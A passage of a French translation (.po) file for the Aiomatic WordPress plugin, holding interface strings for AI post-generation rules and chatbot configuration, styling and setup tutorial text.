également pris en charge (shortcodes générés par des règles " "provenant d'autres plugins). Vous pouvez également ajouter ici un lien vers " "un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts (une par " "ligne) et le plugin en sélectionnera une au hasard à chaque exécution. Si " "vous utilisez des images libres de droits comme source, vous pouvez " "également définir leurs mots-clés ici, si aucun mot-clé n'est défini, ils " "seront générés automatiquement. Vous pourrez également utiliser les " "shortcodes personnalisés définis dans la fonction \"Custom Shortcode " "Creator\" à partir des paramètres de la règle - cela vous permettra de créer " "des Prompts partiellement ou entièrement générées par l'IA qui seront " "utilisées pour les générateurs de contenu." #: res/aiomatic-amazon-list.php:3807 res/aiomatic-rules-list.php:4261 #: res/aiomatic-youtube-list.php:3840 msgid "Prompt For The AI Image Generator" msgstr "Prompt pour le générateur d’images IA" #: res/aiomatic-amazon-list.php:3820 res/aiomatic-rules-list.php:4274 #: res/aiomatic-youtube-list.php:3853 msgid "Generated Image Size" msgstr "Taille de l'image générée" #: res/aiomatic-amazon-list.php:3845 res/aiomatic-rules-list.php:4299 #: res/aiomatic-youtube-list.php:3878 msgid "Default Featured Image List" msgstr "Liste des images vedettes par défaut" #: res/aiomatic-amazon-list.php:3857 res/aiomatic-rules-list.php:4311 #: res/aiomatic-youtube-list.php:3890 msgid "HTML Text To Prepend To AI Created Content" msgstr "Texte HTML à ajouter au contenu créé par l'IA" #: res/aiomatic-amazon-list.php:3864 msgid "" "Enter a HTML text that should be append to the AI generated content in each " "created post. You can use the following shortcodes: %%custom_html%%, %" "%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, %%language%%, %" "%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %" "%random_image_url[keyword]%%, %%random_video[keyword]%%, %" "%royalty_free_image_attribution%% - you can also use an optional parameter " "in the random_image and random_video shortcodes, which will add a percentage " "chance for the media to appear or not - example: %%random_video[keyword][60]%" "% - a video will appear in 60% of cases, in the rest of 40%, nothing will be " "returned by the shortcode - Update: nested shortcodes also supported " "(shortcodes generated by rules from other plugins). You will also be able to " "use the custom shortcodes defined in the 'Custom Shortcode Creator' feature " "from the rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Entrez un texte HTML qui doit être ajouté au contenu généré par l'IA dans " "chaque article créé. Vous pouvez utiliser les shortcodes suivants : %" "%custom_html%%, %%custom_html2%%, %%search_keywords%%, %%all_product_titles%" "%, %%language%, %%writing_style%%, %%writing_tone%, %%sections_count%, %" "%random_sentence%%, %%random_sentence2%%, %%blog_title%, %" "%random_image[keyword]%%, %%random_image_url[keyword]%%, %" "%random_video[keyword]%%, %%royalty_free_image_attribution%% - vous pouvez " "également utiliser un paramètre facultatif dans les shortcodes random_image " "et random_video, qui ajoutera un pourcentage de chance pour que le média " "apparaisse ou non - exemple : %%random_video[keyword][60]%% - une vidéo " "apparaîtra dans 60% des cas, dans les 40% restants, rien ne sera renvoyé par " "le shortcode - Mise à jour : les shortcodes imbriqués sont également pris en " "charge (shortcodes générés par des règles provenant d'autres plugins). Vous " "pourrez également utiliser les shortcodes personnalisés définis dans la " "fonctionnalité \"Custom Shortcode Creator\" à partir des paramètres de la " "règle - cela vous permettra de créer des Prompts partiellement ou " "entièrement générées par l'IA qui seront utilisées pour les générateurs de " "contenu." #: res/aiomatic-amazon-list.php:3867 res/aiomatic-rules-list.php:4321 #: res/aiomatic-youtube-list.php:3900 msgid "HTML Text To Append To AI Created Content" msgstr "Texte HTML à ajouter au contenu créé par l'IA" #: res/aiomatic-amazon-list.php:3877 res/aiomatic-rules-list.php:4331 #: res/aiomatic-youtube-list.php:3910 msgid "Custom Shortcode Creator (Optional)" msgstr "Créateur de Shortcode / Code court personnalisé (facultatif)" #: res/aiomatic-amazon-list.php:3884 res/aiomatic-rules-list.php:4338 #: res/aiomatic-youtube-list.php:3917 msgid "" "The AI writer might add the title of the post to the created post content. " "Check this checkbox if you want to remove the title from the post content" msgstr "" "Le rédacteur IA peut ajouter le titre de l'article au contenu de l'article " "créé. Cochez cette case si vous souhaitez supprimer le titre du contenu de " "l'article" #: res/aiomatic-amazon-list.php:3887 res/aiomatic-rules-list.php:4341 #: res/aiomatic-youtube-list.php:3920 msgid "Strip Title From Content" msgstr "Supprimer le titre du contenu" #: res/aiomatic-amazon-list.php:3904 res/aiomatic-rules-list.php:4358 #: res/aiomatic-youtube-list.php:3937 msgid "Do Not Spin Posts Generated By This Rule" msgstr "Ne pas tourner les messages générés par cette règle" #: res/aiomatic-amazon-list.php:3920 res/aiomatic-rules-list.php:4374 #: res/aiomatic-youtube-list.php:3953 msgid "Do Not Translate Posts Generated By This Rule" msgstr "Ne pas traduire les publications générées par cette règle" #: res/aiomatic-amazon-list.php:3936 msgid "Process Each Title/Keyword Only Once" msgstr "Ne traitez chaque titre/mot-clé qu'une seule fois" #: res/aiomatic-amazon-list.php:3953 res/aiomatic-rules-list.php:4407 #: res/aiomatic-youtube-list.php:3986 msgid "Run Regex On Content" msgstr "Exécuter Regex sur le contenu" #: res/aiomatic-amazon-list.php:3965 res/aiomatic-rules-list.php:4419 #: res/aiomatic-youtube-list.php:3998 msgid "Replace Matches From Regex (Content)" msgstr "Remplacer les correspondances Regex (contenu)" #: res/aiomatic-amazon-list.php:3977 res/aiomatic-rules-list.php:4431 #: res/aiomatic-youtube-list.php:4010 msgid "Post Author" msgstr "Auteur de l’article" #: res/aiomatic-amazon-list.php:3996 res/aiomatic-rules-list.php:4450 #: res/aiomatic-youtube-list.php:4029 msgid "Post Status" msgstr "Statut de l’article" #: res/aiomatic-amazon-list.php:4032 res/aiomatic-rules-list.php:4486 #: res/aiomatic-youtube-list.php:4065 msgid "Item Type" msgstr "Type d’article" #: res/aiomatic-amazon-list.php:4047 res/aiomatic-rules-list.php:4501 #: res/aiomatic-youtube-list.php:4080 msgid "" "If your template supports \"Post Formats\", than you can select one here. If " "not, leave this at it's default value." msgstr "" "Si votre modèle prend en charge les \"Post Formats\", vous pouvez en " "sélectionner un ici. Sinon, laissez la valeur par défaut." #: res/aiomatic-amazon-list.php:4050 res/aiomatic-rules-list.php:4504 #: res/aiomatic-youtube-list.php:4083 msgid "Generated Post Format" msgstr "Format de publication généré" #: res/aiomatic-amazon-list.php:4111 res/aiomatic-rules-list.php:4565 #: res/aiomatic-youtube-list.php:4144 msgid "Enable Comments For Posts" msgstr "Activer les commentaires pour les publications" #: res/aiomatic-amazon-list.php:4124 res/aiomatic-rules-list.php:4578 #: res/aiomatic-youtube-list.php:4157 msgid "Do you want to enable pingbacks and trackbacks for the generated posts?" msgstr "" "Souhaitez-vous activer les pingbacks et les trackbacks pour les messages " "générés ?" #: res/aiomatic-amazon-list.php:4127 res/aiomatic-rules-list.php:4581 #: res/aiomatic-youtube-list.php:4160 msgid "Enable Pingback/Trackback" msgstr "Activer Pingback/Trackback" #: res/aiomatic-amazon-list.php:4143 res/aiomatic-rules-list.php:4597 #: res/aiomatic-youtube-list.php:4176 msgid "Set a Custom Post Publish Date Range" msgstr "Définir une plage de dates de publication d'un article personnalisé" #: res/aiomatic-amazon-list.php:4154 res/aiomatic-rules-list.php:4608 #: res/aiomatic-youtube-list.php:4187 msgid "Post Custom Fields" msgstr "Champs personnalisés d’Article / Événement" #: res/aiomatic-amazon-list.php:4166 res/aiomatic-rules-list.php:4620 #: res/aiomatic-youtube-list.php:4199 msgid "Post Custom Taxonomies" msgstr "Publier des taxonomies personnalisées" #: res/aiomatic-amazon-list.php:4176 res/aiomatic-rules-list.php:4630 #: res/aiomatic-youtube-list.php:4209 msgid "Assign WPML/Polylang Language to Posts" msgstr "Assigner la langue WPML/Polylang aux articles" #: res/aiomatic-amazon-list.php:4201 res/aiomatic-rules-list.php:4655 #: res/aiomatic-youtube-list.php:4234 msgid "" "Shortcode for this rule
                    (to cross-post from this plugin in other " "plugins):" msgstr "" "Code court pour cette règle
                    (pour cross-post de ce plugin dans d'autres " "plugins) :" #: res/aiomatic-amazon-list.php:4201 res/aiomatic-rules-list.php:4655 #: res/aiomatic-youtube-list.php:4234 msgid "Posts Generated:" msgstr "Articles générées :" #: res/aiomatic-amazon-list.php:4203 res/aiomatic-rules-list.php:4657 #: res/aiomatic-youtube-list.php:4236 msgid "View Generated Posts" msgstr "Voir les publications générées" #: res/aiomatic-amazon-list.php:4205 res/aiomatic-rules-list.php:4659 #: res/aiomatic-youtube-list.php:4238 msgid "Last Run: " msgstr "Dernière exécution : " #: res/aiomatic-amazon-list.php:4211 res/aiomatic-rules-list.php:4665 #: res/aiomatic-youtube-list.php:4244 msgid "Next Run: " msgstr "Prochaine exécution : " #: res/aiomatic-amazon-list.php:4241 res/aiomatic-rules-list.php:4695 #: res/aiomatic-youtube-list.php:4274 msgctxt "Date Time Format1" msgid "Y-m-d H:i:s" msgstr "Y-m-d H:i:s" #: res/aiomatic-amazon-list.php:4257 res/aiomatic-rules-list.php:4711 #: res/aiomatic-youtube-list.php:4290 msgid "Rule Disabled" msgstr "Règle désactivée" #: res/aiomatic-amazon-list.php:4259 res/aiomatic-rules-list.php:4713 #: res/aiomatic-youtube-list.php:4292 msgid "Local Time: " msgstr "Heure locale : " #: res/aiomatic-chatbot.php:8 res/aiomatic-spinner-list.php:8 msgid "" "You must add an OpenAI/AiomaticAPI API Key into the plugin's 'Main Settings' " "menu before you can use this feature!" msgstr "" "Vous devez ajouter une clé API OpenAI/AiomaticAPI dans le menu « Paramètres " "principaux » du plugin avant de pouvoir utiliser cette fonctionnalité !" #: res/aiomatic-chatbot.php:18 res/aiomatic-limits-statistics.php:447 #: res/aiomatic-playground.php:23 res/aiomatic-shortcodes.php:100 #: res/aiomatic-single-list.php:342 res/aiomatic-spinner-list.php:19 msgid "Tutorial" msgstr "Tutoriel" #: res/aiomatic-chatbot.php:19 msgid "Chatbot Context" msgstr "Contexte du chatbot" #: res/aiomatic-chatbot.php:20 msgid "Chatbot Default Styling" msgstr "Style par défaut du chatbot" #: res/aiomatic-chatbot.php:21 msgid "Chatbot Moderation" msgstr "Modération de chatbot" #: res/aiomatic-chatbot.php:22 msgid "Chatbot Website Injection" msgstr "Chatbot Website Injection" #: res/aiomatic-chatbot.php:23 msgid "Chatbot Settings" msgstr "Paramètres du chatbot" #: res/aiomatic-chatbot.php:24 msgid "Chatbot Extensions" msgstr "Extensions du chatbot" #: res/aiomatic-chatbot.php:25 msgid "Default API Parameters" msgstr "Paramètres API par défaut" #: res/aiomatic-chatbot.php:26 msgid "Chatbot Text-to-Speech/Video" msgstr "Chatbot Text-to-Speech/Video" #: res/aiomatic-chatbot.php:27 msgid "Custom Chatbot Builder" msgstr "Construire un chatbot personnalisé" #: res/aiomatic-chatbot.php:28 msgid "Persistent Chat Logs" msgstr "Logs de discussion persistants" #: res/aiomatic-chatbot.php:335 msgid "AI Chatbot Configuration Details" msgstr "Détails de la configuration du chatbot IA" #: res/aiomatic-chatbot.php:336 msgid "" "In this tutorial, I'll walk through the process of setting up an AI-powered " "chatbot on your WordPress website using the Aiomatic WordPress plugin. This " "plugin allows you to integrate AI language models to create a highly " "customizable chatbot that can interact with your website visitors." msgstr "" "Dans ce tutoriel, je vais vous expliquer comment mettre en place un chatbot " "doté d'une intelligence artificielle sur votre site web WordPress en " "utilisant le plugin WordPress Aiomatic. Ce plugin vous permet d'intégrer des " "modèles de langage d'IA pour créer un chatbot hautement personnalisable qui " "peut interagir avec les visiteurs de votre site web." #: res/aiomatic-chatbot.php:337 msgid "Step 1: Customize the Chatbot Behavior" msgstr "Étape 1 : Personnaliser le comportement du chatbot" #: res/aiomatic-chatbot.php:338 msgid "" "In the Aiomatic settings page, navigate to the \"AI Chatbot\" menu of the " "plugin. You will be able to customize the chatbot in the 'Chatbot " "Customization', 'Chatbot Default Styling', 'Chatbot Settings' and 'Default " "API Parameters' tabs. Here, you can define how the chatbot will respond to " "specific user inputs. You can also change the visual style and appearance of " "the chatbot. Don't forget to always save your changes." msgstr "" "Dans la page de configuration d'Aiomatic, accédez au menu \"AI Chatbot\" du " "plugin. Vous pourrez personnaliser le chatbot dans les onglets \"Chatbot " "Customization\", \"Chatbot Default Styling\", \"Chatbot Settings\" et " "\"Default API Parameters\". Vous pouvez y définir la manière dont le chatbot " "réagira à certaines entrées de l'utilisateur. Vous pouvez également modifier " "le style visuel et l'apparence du chatbot. N'oubliez pas de toujours " "sauvegarder vos modifications." #: res/aiomatic-chatbot.php:339 msgid "Step 2: Add the Chatbot to Your Website" msgstr "Étape 2 : Ajouter le Chatbot à votre site web" #: res/aiomatic-chatbot.php:340 msgid "" "You can add the chatbot globally to your site or locally to posts or pages. " "To add the chatbot locally, you can use the [aiomatic-chat-form] shortcode. " "If you want to add it globally, you need to go to the settings page of the " "plugin, go to the \"AI Chatbot\" menu of the plugin and navigate to the " "'Chatbot Website Injection' tab. Choose where you want the chatbot to appear " "on your website (e.g., on all front end, back end, except pages where you " "don't want the chatbot to appear)." msgstr "" "Vous pouvez ajouter le chatbot de manière globale à votre site ou localement " "à des articles ou des pages. Pour ajouter le chatbot localement, vous pouvez " "utiliser le shortcode [aiomatic-chat-form]. Si vous souhaitez l'ajouter " "globalement, vous devez vous rendre sur la page des paramètres du plugin, " "aller dans le menu \"AI Chatbot\" du plugin et naviguer jusqu'à l'onglet " "\"Chatbot Website Injection\". Choisissez où vous voulez que le chatbot " "apparaisse sur votre site web (par exemple, sur toutes les pages du front-" "end, du back-end, à l'exception des pages où vous ne voulez pas que le " "chatbot apparaisse)." #: res/aiomatic-chatbot.php:341 msgid "Step 3: Test the Chatbot" msgstr "Étape 3 : Tester le Chatbot" #: res/aiomatic-chatbot.php:342 msgid "" "Visit your website and look for the chatbot. Interact with the chatbot by " "typing questions or phrases into the chat window. Verify that the chatbot " "responds appropriately based on the rules you defined." msgstr "" "Visitez votre site Web et recherchez le chatbot. Interagissez avec le " "chatbot en tapant des questions ou des phrases dans la fenêtre de chat. " "Vérifiez que le chatbot répond correctement en fonction des règles que vous " "avez définies." #: res/aiomatic-chatbot.php:343 msgid "" "That's it! You've successfully set up an AI-powered chatbot on your " "WordPress website using the Aiomatic plugin. This chatbot can be a valuable " "tool for engaging with your website visitors, answering frequently asked " "questions, and providing personalized assistance." msgstr "" "Voilà! Vous avez configuré avec succès un chatbot alimenté par l’IA sur " "votre site Web WordPress à l’aide du plugin Aiomatic. Ce chatbot peut être " "un outil précieux pour interagir avec les visiteurs de votre site Web, " "répondre aux questions fréquemment posées et fournir une assistance " "personnalisée." #: res/aiomatic-chatbot.php:344 msgid "AI Chatbot Tutorial Video" msgstr "Chatbot IA video Tutoriel" #: res/aiomatic-chatbot.php:350 res/aiomatic-chatbot.php:517 msgid "Chatbot Context Settings:" msgstr "Paramètres du contexte du chatbot :" #: res/aiomatic-chatbot.php:357 res/aiomatic-chatbot.php:524 #, php-format msgid "" "Add a context to the AI chatbot, so it knows how to act and how to respond " "to customers. You can define here the language, tone of voice and role of " "the AI assistant. Any other settings will also be able to be defined here. " "This text will be preppended to each conversation, to teach the AI some " "additional info about you or its behavior. This text will not be displayed " "to users, it will be only sent to the chatbot. You can also use shortcodes " "in this field. List of supported shortcodes: %%post_title%%, " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, " "%%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, " "%%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, " "%%user_description%%. You can also use custom fields (post meta) that it's " "assigned to posts using custom shortcodes in this format: %%!" "custom_field_slug!%%. Example: if you wish to add data that is imported from " "the custom field post_data, you should use this shortcode: %%!post_data!%%. " "The length of this command should not be greater than the max token count " "set in the settings for the seed command - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). Example of " "prompt to pretain the AI --- Article: \"%%post_content%%\" \n" "\n" " Discussion: \n" "\n" msgstr "" "Ajoutez un contexte au chatbot IA, afin qu'il sache comment agir et comment " "répondre aux clients. Vous pouvez définir ici la langue, le ton de la voix " "et le rôle de l'assistant AI. Tous les autres paramètres peuvent également " "être définis ici. Ce texte sera ajouté à chaque conversation, afin de " "fournir à l'IA des informations supplémentaires sur vous ou sur son " "comportement. Ce texte ne sera pas affiché aux utilisateurs, il sera " "uniquement envoyé au chatbot. Vous pouvez également utiliser des shortcodes " "dans ce champ. Liste des shortcodes supportés : %%post_title%%, " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, " "%%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, " "%%user_id%%, %%user_firstname%%, %%user_lastname%%, %%user_url%%, " "%%user_description%%. Vous pouvez également utiliser des champs " "personnalisés (post meta) qui sont assignés aux articles à l'aide de " "shortcodes personnalisés dans ce format : %%!custom_field_slug!%%. Exemple : " "si vous souhaitez ajouter des données importées du champ personnalisé " "post_data, vous devez utiliser ce shortcode : %%!post_data!%%. La longueur " "de cette commande ne doit pas être supérieure au nombre maximum de jetons " "défini dans les paramètres de la commande seed - Mise à jour : les " "shortcodes imbriqués sont également pris en charge (shortcodes générés par " "des règles provenant d'autres plugins). Exemple de Pompt pour obtenir l'IA " "--- Article : \"%%post_content%%\" \n" "\n" " Discussion : \n" "\n" #: res/aiomatic-chatbot.php:361 res/aiomatic-chatbot.php:528 msgid "Chatbot Context:" msgstr "Contexte du chatbot :" #: res/aiomatic-chatbot.php:375 res/aiomatic-chatbot.php:542 msgid "" "Set the name of the user. This will be prepended to each user message. This " "is useful to teach the AI chatbot about its role and name." msgstr "" "Définissez le nom de l’utilisateur. Cela sera ajouté à chaque message " "utilisateur. Ceci est utile pour enseigner au chatbot IA son rôle et son nom." #: res/aiomatic-chatbot.php:379 res/aiomatic-chatbot.php:546 msgid "User Name:" msgstr "Nom d'utilisateur :" #: res/aiomatic-chatbot.php:393 res/aiomatic-chatbot.php:560 #: res/aiomatic-chatbot.php:578 msgid "" "Set the name of the AI. This will be prepended to each AI message. This is " "useful to teach the AI chatbot about its role and name." msgstr "" "Définissez le nom de l’IA. Cela sera ajouté à chaque message d’IA. Ceci est " "utile pour enseigner au chatbot IA son rôle et son nom." #: res/aiomatic-chatbot.php:397 res/aiomatic-chatbot.php:564 msgid "AI Name:" msgstr "Nom de l’IA :" #: res/aiomatic-chatbot.php:411 #, php-format msgid "" "Set the name of the AI. This will be prepended to each AI message. This is " "useful to teach the AI chatbot about its role and name. List of supported " "shortcodes: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, " "%%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, " "%%random_sentence%%, %%random_sentence2%%, %%user_name%%, %%user_email%%, " "%%user_display_name%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, " "%%user_url%%, %%user_description%%. You can also use custom fields (post " "meta) that it's assigned to posts using custom shortcodes in this format: %%!" "custom_field_slug!%%. Example: if you wish to add data that is imported from " "the custom field post_data, you should use this shortcode: %%!post_data!%%. " "The length of this command should not be greater than the max token count " "set in the settings for the seed command - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins)." msgstr "" "Définit le nom de l'IA. Ce nom sera ajouté à chaque message de l'IA. Ceci " "est utile pour apprendre au chatbot IA son rôle et son nom. Liste des " "shortcodes pris en charge : %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, " "%%user_email%%, %%user_display_name%%, %%user_id%%, %%user_firstname%%, " "%%user_lastname%%, %%user_url%%, %%user_description%%. Vous pouvez également " "utiliser les champs personnalisés (post meta) qui sont assignés aux articles " "à l'aide de shortcodes personnalisés dans ce format : %%!custom_field_slug!" "%%. Exemple : si vous souhaitez ajouter des données importées du champ " "personnalisé post_data, vous devez utiliser ce shortcode : %%!post_data !%%. " "La longueur de cette commande ne doit pas être supérieure au nombre maximum " "de jetons défini dans les paramètres de la commande seed - Mise à jour : les " "shortcodes imbriqués sont également pris en charge (shortcodes générés par " "des règles provenant d'autres plugins)." #: res/aiomatic-chatbot.php:415 res/aiomatic-chatbot.php:582 msgid "AI First Message:" msgstr "IA Premier message :" #: res/aiomatic-chatbot.php:428 msgid "Use the following shortcode to add the customized chatbot to your site:" msgstr "" "Utilisez le shortcode suivant pour ajouter le chatbot personnalisé à votre " "site :" #: res/aiomatic-chatbot.php:431 msgid "Chatbot Model Options:" msgstr "Options du modèle de chatbot :" #: res/aiomatic-chatbot.php:438 res/aiomatic-chatbot.php:746 #: res/aiomatic-chatbot.php:1591 msgid "Select the font size of the chatbot form. Default is 1em" msgstr "" "Sélectionnez la taille de police du formulaire de chatbot. La valeur par " "défaut est 1em" #: res/aiomatic-chatbot.php:442 msgid "Model:" msgstr "Modèle:" #: res/aiomatic-chatbot.php:472 res/aiomatic-chatbot.php:2165 msgid "Chatbot Temperature:" msgstr "Température du chatbot :" #: res/aiomatic-chatbot.php:485 res/aiomatic-chatbot.php:2178 msgid "Chatbot Top_p:" msgstr "Chatbot Top_p :" #: res/aiomatic-chatbot.php:498 res/aiomatic-chatbot.php:2191 msgid "Presence Penalty:" msgstr "Pénalité de présence :" #: res/aiomatic-chatbot.php:511 res/aiomatic-chatbot.php:2204 msgid "Frequency Penalty:" msgstr "Pénalité de fréquence :" #: res/aiomatic-chatbot.php:592 msgid "Chatbot General Settings:" msgstr "Paramètres généraux du chatbot :" #: res/aiomatic-chatbot.php:599 msgid "" "Select if you want to make the chatbot respond with full text or do you want " "to enable a typing effect, so text will appear gradually." msgstr "" "Sélectionnez si vous souhaitez que le chatbot réponde avec du texte intégral " "ou si vous souhaitez activer un effet de frappe, de sorte que le texte " "apparaisse progressivement." #: res/aiomatic-chatbot.php:603 res/aiomatic-chatbot.php:1978 msgid "Enable Chatbot Instant Responses:" msgstr "Activer les réponses instantanées du chatbot :" #: res/aiomatic-chatbot.php:616 res/aiomatic-chatbot.php:2013 msgid "Select the default chat mode (image or text)." msgstr "Sélectionnez le chat mode par défaut (image ou texte)." #: res/aiomatic-chatbot.php:620 res/aiomatic-chatbot.php:2017 msgid "Default Chat Mode:" msgstr "Chat Mode par défaut :" #: res/aiomatic-chatbot.php:637 res/aiomatic-chatbot.php:2367 msgid "" "Select if you want to enable the persistent chat mode. Chats will be saved " "in the database and can be viewed from the 'Limits and Statistics' menu of " "the plugin." msgstr "" "Sélectionnez si vous souhaitez activer le Chat Mode de conversation " "permanente. Les chats seront enregistrés dans la base de données et peuvent " "être consultés à partir du menu « Limites et statistiques » du plugin." #: res/aiomatic-chatbot.php:641 res/aiomatic-chatbot.php:2371 msgid "Persistent Chat:" msgstr "Chat persistant :" #: res/aiomatic-chatbot.php:658 res/aiomatic-chatbot.php:677 #: res/aiomatic-chatbot.php:2033 res/aiomatic-chatbot.php:2052 msgid "" "Select if you want to enable the prompts to be user editable. You should use " "this feature only together with the prompt templates feature." msgstr "" "Sélectionnez cette option si vous souhaitez que les Prompts soient " "modifiables par l’utilisateur. Vous ne devez utiliser cette fonctionnalité " "qu’avec la fonctionnalité de modèles d’invite." #: res/aiomatic-chatbot.php:662 res/aiomatic-chatbot.php:2037 msgid "Prompt Templates:" msgstr "Templates d’invite :" #: res/aiomatic-chatbot.php:681 res/aiomatic-chatbot.php:2056 msgid "Prompts Editable By Users:" msgstr "Prompt modifiables par les utilisateurs :" #: res/aiomatic-chatbot.php:697 res/aiomatic-chatbot.php:2221 msgid "" "Select if you want to inject the chatbot globally, to the entire front end " "and/or back end of your site." msgstr "" "Sélectionnez si vous souhaitez injecter le chatbot globalement, sur " "l’ensemble du front-end et/ou du back-end de votre site." #: res/aiomatic-chatbot.php:701 res/aiomatic-chatbot.php:2225 msgid "Inject Chatbot Globally Your Site:" msgstr "Injectez du chatbot globalement sur votre site :" #: res/aiomatic-chatbot.php:720 res/aiomatic-chatbot.php:2244 msgid "Select where you want to show the embedded chatbot." msgstr "" "Sélectionnez l’endroit où vous souhaitez afficher l'intégration du chatbot." #: res/aiomatic-chatbot.php:724 res/aiomatic-chatbot.php:2248 msgid "Chatbot Location:" msgstr "Emplacement du chatbot :" #: res/aiomatic-chatbot.php:739 msgid "Chatbot Styling Options:" msgstr "Options de stylisation du chatbot :" #: res/aiomatic-chatbot.php:750 res/aiomatic-chatbot.php:1595 msgid "Font Size:" msgstr "Taille de la police :" #: res/aiomatic-chatbot.php:769 res/aiomatic-chatbot.php:1614 msgid "" "Select the width of the chatbot form. For full width, you can set 100% " "(default value). You can also set values in pixels, like: 400px" msgstr "" "Sélectionnez la largeur du formulaire de chatbot. Pour la pleine largeur, " "vous pouvez définir 100 % (valeur par défaut). Vous pouvez également définir " "des valeurs en pixels, comme : 400px" #: res/aiomatic-chatbot.php:773 res/aiomatic-chatbot.php:1618 msgid "Chat Form Width:" msgstr "Largeur du formulaire de chat :" #: res/aiomatic-chatbot.php:785 res/aiomatic-chatbot.php:1630 msgid "" "Select the height of the chatbot form. Default is auto. You can set values " "in pixels, like: 400px" msgstr "" "Sélectionnez la hauteur du formulaire de chatbot. La valeur par défaut est " "auto. Vous pouvez définir des valeurs en pixels, comme : 400px" #: res/aiomatic-chatbot.php:789 res/aiomatic-chatbot.php:1634 msgid "Chat Form Height:" msgstr "Hauteur du formulaire de chat :" #: res/aiomatic-chatbot.php:801 res/aiomatic-chatbot.php:1646 msgid "" "Select the min-height of the chatbot form (when the form is resized, this is " "the minimum height it will be allowed to get. Default is 250px. You can set " "values in pixels, like: 400px" msgstr "" "Sélectionnez la hauteur minimale du formulaire de chatbot (lorsque le " "formulaire est redimensionné, il s’agit de la hauteur minimale qu’il sera " "autorisé à obtenir. La valeur par défaut est 250px. Vous pouvez définir des " "valeurs en pixels, comme : 400px" #: res/aiomatic-chatbot.php:805 res/aiomatic-chatbot.php:1650 msgid "Chat Form Min-Height:" msgstr "Formulaire de chat Min-Hauteur :" #: res/aiomatic-chatbot.php:817 res/aiomatic-chatbot.php:1662 msgid "" "Set the placeholder text of the chat input. The default is: Enter your chat " "message here." msgstr "" "Définissez le texte de l’espace réservé de l’entrée de chat. La valeur par " "défaut est : Entrez votre message de chat ici." #: res/aiomatic-chatbot.php:821 res/aiomatic-chatbot.php:1666 msgid "Chat Input Placeholder:" msgstr "Espace réservé pour la saisie de chat :" #: res/aiomatic-chatbot.php:833 res/aiomatic-chatbot.php:1680 msgid "Set the text of the submit button. The default is: Submit" msgstr "" "Définissez le texte du bouton d’envoi. La valeur par défaut est : Soumettre" #: res/aiomatic-chatbot.php:837 res/aiomatic-chatbot.php:1684 msgid "Chat Input Submit Button Text:" msgstr "Texte du bouton d’envoi des entrées de chat :" #: res/aiomatic-chatbot.php:849 res/aiomatic-chatbot.php:1698 msgid "Select the background color of the chatbot form. Default is #f7f7f9" msgstr "" "Sélectionnez la couleur d’arrière-plan du formulaire de chatbot. La valeur " "par défaut est #f7f7f9" #: res/aiomatic-chatbot.php:853 res/aiomatic-chatbot.php:1702 msgid "Background Color:" msgstr "Couleur d’arrière-plan :" #: res/aiomatic-chatbot.php:865 res/aiomatic-chatbot.php:1714 msgid "Select the font color of the user chatbot form. Default is white" msgstr "" "Sélectionnez la couleur de police du formulaire de chatbot utilisateur. La " "valeur par défaut est le blanc" #: res/aiomatic-chatbot.php:869 res/aiomatic-chatbot.php:1718 msgid "User Font Color:" msgstr "Couleur de police de l’utilisateur :" #: res/aiomatic-chatbot.php:881 res/aiomatic-chatbot.php:1730 msgid "" "Select the font color of the user baloon chatbot form. Default is #0084ff" msgstr "" "Sélectionnez la couleur de police du formulaire de chatbot baloon " "utilisateur. La valeur par défaut est #0084ff" #: res/aiomatic-chatbot.php:885 res/aiomatic-chatbot.php:1734 msgid "User Baloon Background Color:" msgstr "Couleur de fond de la bulle utilisateur :" #: res/aiomatic-chatbot.php:897 res/aiomatic-chatbot.php:1746 msgid "Select the font color of the AI chatbot form. Default is black" msgstr "" "Sélectionnez la couleur de police du formulaire de chatbot IA. La valeur par " "défaut est noire" #: res/aiomatic-chatbot.php:901 res/aiomatic-chatbot.php:1750 msgid "AI Font Color:" msgstr "Couleur de police IA :" #: res/aiomatic-chatbot.php:913 res/aiomatic-chatbot.php:1762 msgid "Select the font color of the AI baloon chatbot form. Default is #f0f0f0" msgstr "" "Choisissez la couleur de police pour la bulle du chatbot IA dans le " "formulaire. La valeur par défaut est #f0f0f0" #: res/aiomatic-chatbot.php:917 res/aiomatic-chatbot.php:1766 msgid "AI Baloon Background Color:" msgstr "Couleur de fond de la Bulle IA :" #: res/aiomatic-chatbot.php:929 res/aiomatic-chatbot.php:1778 msgid "Select the border color for the input field. Default is #e1e3e6" msgstr "" "Sélectionnez la couleur de bordure pour le champ de saisie. La valeur par " "défaut est #e1e3e6" #: res/aiomatic-chatbot.php:933 res/aiomatic-chatbot.php:1782 msgid "Input Border Color:" msgstr "Couleur de bordure d’entrée :" #: res/aiomatic-chatbot.php:945 res/aiomatic-chatbot.php:1794 msgid "Select the color of the submit button. Default is #55a7e2" msgstr "" "Sélectionnez la couleur du bouton d’envoi. La valeur par défaut est #55a7e2" #: res/aiomatic-chatbot.php:949 res/aiomatic-chatbot.php:1798 msgid "Submit Button Color:" msgstr "Couleur du bouton Soumettre :" #: res/aiomatic-chatbot.php:961 res/aiomatic-chatbot.php:1810 msgid 